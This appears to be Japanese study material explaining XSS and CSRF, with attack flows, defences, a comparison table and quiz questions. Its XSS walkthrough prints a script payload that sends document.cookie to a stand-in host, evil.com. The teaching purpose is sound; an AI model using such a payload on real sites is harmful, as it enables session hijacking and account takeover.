📌 結論から理解する
XSS=「罠スクリプト」、CSRF=「なりすまし操作」
XSS(クロスサイトスクリプティング)は、攻撃者がWebサイトに悪意あるスクリプトを埋め込み、それを見た他のユーザーのブラウザで実行させる攻撃。
CSRF(クロスサイトリクエストフォージェリ)は、ログイン済みのユーザーに意図しないリクエストを送らせる攻撃。
XSS(クロスサイトスクリプティング)
XSS攻撃の流れ
1
攻撃者が掲示板・コメント欄などに悪意あるスクリプトを投稿
<script>document.location='https://evil.com?c='+document.cookie;</script>
2
被害者が同じページを閲覧する
3
被害者のブラウザでスクリプトが実行され、クッキー(セッションID)が攻撃者へ送信
4
攻撃者がセッションを乗っ取り、被害者になりすましてサービスを使用
XSSの対策
- HTMLエスケープ:
<→<に変換し、タグとして解釈させない - HTTPOnly属性:クッキーをJSから読めなくする
- CSP(Content Security Policy):許可したスクリプト以外は実行させない
- WAF:攻撃パターンを検知・遮断
CSRF(クロスサイトリクエストフォージェリ)
CSRF攻撃の流れ
1
被害者がネットバンキング等にログインし、ログイン状態のまま別のページを見る
2
罠ページに「振込」リクエストを送るリンク・画像が仕掛けられている
3
被害者が知らないうちに、ログイン中のサイトへ不正なリクエストが送られる
4
サイトはログイン済みの正規ユーザーからのリクエストと判断し、振込が実行される
CSRFの対策
- CSRFトークン:フォームに秘密のトークンを埋め込み、送信時に照合する
- Refererチェック:リクエストの送り元URLを確認する
- SameSite属性:外部サイトからのクッキー送信を制限する
- 重要操作は再認証を求める
XSSとCSRFの違いまとめ
| 比較 | XSS | CSRF |
|---|---|---|
| 誰を攻撃 | サイトの閲覧者 | サイトにログイン中のユーザー |
| 攻撃の手段 | スクリプトをサイトに埋め込む | 罠サイトから不正リクエストを送らせる |
| 主な被害 | クッキー盗用・なりすまし | 不正操作(送金・設定変更) |
| 主な対策 | エスケープ・CSP・HTTPOnly | CSRFトークン・Referer確認 |
🧠 確認クイズ
Q1. XSS攻撃の主な目的として適切なのは?
Q2. CSRFトークンを使う目的は?
Q3. CSRF攻撃が成立する前提条件は?